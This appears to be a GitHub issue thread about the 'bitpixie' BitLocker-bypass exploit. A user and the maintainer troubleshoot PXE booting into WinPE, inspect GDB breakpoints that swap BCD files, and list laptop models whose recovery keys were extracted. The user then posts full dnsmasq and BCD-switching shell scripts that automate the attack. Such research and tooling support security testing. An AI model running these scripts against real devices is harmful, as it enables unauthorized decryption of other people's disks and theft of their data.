Loading WinPE

[gosec-rr]

Hi

Thanks a bunch for the great tools to make this exploit work!

I successfully exploited BitLocker on several devices, but I am struggling to boot into WinPE. I can build the environment and get the BCD, but when it's time to boot into WinPE I get the following error:

DNSMASQ:

dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/Boot/BCD to 10.13.37.131 dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/Boot/BCD to 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/Policies/SbcpFlightToken.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SecureBootPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SkuSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/WinSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/ATPSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SkuSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/WinSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/ATPSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/SkuSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/WinSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/ATPSiPolicy.p7b not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/en-GB/bootmgfw.efi.MUI not found for 10.13.37.131 dnsmasq-tftp: error 0 TFTP Aborted received from 10.13.37.131 dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi to 10.13.37.131 dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi to 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/boot.stl not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/Fonts/wgl4_boot.ttf not found for 10.13.37.131 dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/EFI/Microsoft/Boot/Fonts/wgl4_boot.ttf not found for 10.13.37.131 dnsmasq-tftp: error 0 TFTP Aborted received from 10.13.37.131 dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/Boot/BCD to 10.13.37.131 dnsmasq-tftp: sent /root/Desktop/bit/bitpixie/pxe/tftp/Boot/BCD to 10.13.37.131 **dnsmasq-tftp: file /root/Desktop/bit/bitpixie/pxe/tftp/bootmgfw-stage2.efi not found for 10.13.37.131**

WINDOWS:

I tried it on a few devices, but always get the same error. Does anyone know what it might be causing?

Thanks!

[martanne]

Thanks for giving it a try.

Which version i.e. git commit are you using? It looks like it cannot find the boot manager for the second stage:

/root/Desktop/bit/bitpixie/pxe/tftp/bootmgfw-stage2.efi not found for 10.13.37.131**

Are you starting start-pxe-winpe.sh eth0? This should use GDB to replace the file when needed. Otherwise, you can also try the manual variant by copying the second stage in the required place and retrying, as was documented in an earlier version.

[gosec-rr]

Thanks for your answer.

Setting the symlinks manually actually did the trick, and I was able to boot into WinPE and get the recovery key.

I will close this issue.

[martanne]

Glad it works for you. Would you mind investigating what the underlying issue was?

It seems like others (e.g. #4) seem to have similar issues. It would be nice to fix it generally. Did the GDB break point hit?

Also on what device did you manage to get the recovery key? It seems in practice the WinPE based exploitation seems to be less reliable than its Linux based counterpart. In a some cases the VMK gets overwritten somewhere in the process (e.g., #3).

[martanne]

I just realized that the committed automation script did not create a symlink to bootmgfw-stage2.efi. Therefore, you would always run into error message you provided. In my setup the file already existed from manual attempts which is why I didn't notice it. Can you please confirm that the automated version now works as expected?

[gosec-rr]

Hey
I was able to get the key on the following devices using the Linux way:

• HP Zbook Power G7
• HP Zbook Power G11
• HP Zbook Firefly G11
• Lenovo Legion 5
• Lenovo ThinkPad T470s
• Lenovo ThinkPad T480s
• Lenovo ThinkPad T480s
• Dell XPS 15 9500
• Lenovo L13 Yoga Gen 4

I just pulled your new commit and I still go the same error. Here are some logs which may help to troubleshoot:

Reading symbols from dnsmasq... (No debugging symbols found in dnsmasq) Function "open" not defined. Breakpoint 1 (open) pending. Function "open" not defined. Breakpoint 2 (open) pending. Catchpoint 3 (load) Error in re-setting breakpoint 1: Function "open" not defined. Error in re-setting breakpoint 2: Function "open" not defined. [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

0x00007ffff7fca440 in _dl_debug_state () from /lib64/ld-linux-x86-64.so.2 dnsmasq: started, version 2.91 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth DNSSEC loop-detect inotify dumpfile

dnsmasq-tftp: file /root/Desktop/new/2/bitpixie/pxe/tftp/bootmgfw-stage2.efi not found for 10.13.37.120

[martanne]

Thanks for investigating, for some reason the breakpoints are not set (or are not triggering). The idea is just to intercept the open(2) libc syscall wrapper to swap out the served BCD file.

When GDB is running can you interrupt it with Ctrl-c and then show which breakpoints are set with:

gdb> info breakpoint

Did the WinPE way also work on a device?

[gosec-rr]

(gdb) info breakpoint
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   <MULTIPLE>         
	stop only if $_regex(file, ".*/bootmgfw\\.efi$")
        print "Preparing stage 1"
        disable 1
        enable 2
        shell ln -sf BCD_winpe1 smb/BCD
        continue

1.1                         N*  0x00007ffff7be4770 <open64>
2       breakpoint     keep n   <MULTIPLE>         
	stop only if $_regex(file, ".*/bootmgfw-stage2\\.efi$")
        print "Preparing stage 2"
        disable 2
        enable 1
        shell ln -sf bootmgfw.efi tftp/bootmgfw-stage2.efi
        shell ln -sf BCD_winpe2 smb/BCD
        continue

2.1                         N*  0x00007ffff7be4770 <open64>
3       catchpoint     keep y                      load of library
	catchpoint already hit 1 time
        enable 1
        disable 2
        continue

(*): Breakpoint condition is invalid at this location.
(gdb) 

The WinPE approach worked on my Dell's VM well, but on two other devices we coulnd't fint the VMK in memory.

[martanne]

I have two ideas:

1. Your GDB was not build with python support which is required for the $_regex function. This can be checked with gdb --config which should contain a --with-python.
2. The file parameter is not available.

If you could investigate interactively how to set a proper break point for open this would be appreciated.

[gosec-rr]

gdb --config shows --with-python is available (as relocatable, if that matters)

`─# gdb --config
This GDB was configured as follows:

configure --host=x86_64-linux-gnu --target=x86_64-linux-gnu
--with-auto-load-dir=$debugdir:$datadir/auto-load
--with-auto-load-safe-path=$debugdir:$datadir/auto-load
--with-expat
--with-gdb-datadir=/usr/share/gdb (relocatable)
--with-jit-reader-dir=/usr/lib/gdb (relocatable)
--without-libunwind-ia64
--with-lzma
--with-babeltrace
--with-intel-pt
--with-xxhash
--with-python=/usr (relocatable)
--with-python-libdir=/usr/lib (relocatable)
--with-debuginfod
--with-curses
--without-guile
--without-amd-dbgapi
--enable-source-highlight
--enable-threading
--enable-tui
--with-system-readline
--with-separate-debug-dir=/usr/lib/debug (relocatable)
--with-system-gdbinit=/etc/gdb/gdbinit
--with-system-gdbinit-dir=/etc/gdb/gdbinit.d`

Im sorry, I am not very familiar with debugging, I would need some help regarding "set a proper break point for open"

[gosec-rr]

Hi

As mentioned I am not very capable of debugging, so my colleagues and I discovered another way to boot into WinPE without the need of GDB.

To do so, there are two scripts needed.

Script1 - start-pxe-winpe2.sh:

#!/bin/sh
[ $# -eq 0 ] && echo "usage: $0 <interface>" && exit 1
scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
interface=$1
 
sudo ip a add 10.13.37.100/24 dev "$interface"
 
rm -rf "$scriptpath/dnsmasq.log"
#rm -rf "$scriptpath/tftp/bootmgfw-stage2.efi"
ln -sf BCD_winpe1 "$scriptpath/smb/BCD"
touch "$scriptpath/dnsmasq.log"
$scriptpath/switch_BCD.sh&
 
 
# Run dnsmasq with logging to detect file access
sudo dnsmasq --no-daemon \
    --interface="$interface" \
    --dhcp-range=10.13.37.100,10.13.37.200,255.255.255.0,1h \
    --dhcp-boot=bootmgfw.efi \
    --enable-tftp \
    --tftp-root="$scriptpath/tftp" \
    --log-dhcp \
    --log-facility="$scriptpath/dnsmasq.log" 

---

Script2 - switch_BCD.sh:

#!/bin/sh
scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
 
tail -f ./dnsmasq.log | while read -r line; do
        if echo "$line" | grep -q "bootmgfw\.efi"; then
            echo "*** Preparing stage 1 ***"
            ln -sf BCD_winpe1 "$scriptpath/smb/BCD"
        elif echo "$line" | grep -q "bootmgfw-stage2\.efi"; then
            echo "*** Preparing stage 2 ***"
            ln -sf bootmgfw.efi "$scriptpath/tftp/bootmgfw-stage2.efi"
            ln -sf BCD_winpe2 "$scriptpath/smb/BCD"
        fi
    done

We let DNSMASQ create a logfile and with the second script search the logs and set the symlink at the appropriate time automatically (or you can activate the line #rm -rf "$scriptpath/tftp/bootmgfw-stage2.efi" and manually select softreboot during the boot process). So no user interaction is needed to boot into softreboot. I tested it a few times and it worked well.

If you think this could go into your repo, feel free to do so.

[martanne]

I'm not sure I like your approach. At least in theory the additional error case could also change the behavior (in practice it most likely does not).

I guess the second point of my last comment, i.e. the absence of symbols for the function argument (file) which is used in the break point condition is the problem. Can you check whether the latest commit fixes the issue?

(This is all getting a bit too hacky for my taste, but whatever)

[gosec-rr]

The script I used works pretty well, i tested it many times.

I can also confirm, your latest commit fixed the issue. Nice work!

[martanne]

Thanks for testing the latest commit and providing another working solution which can be used in case the default does not work as expected.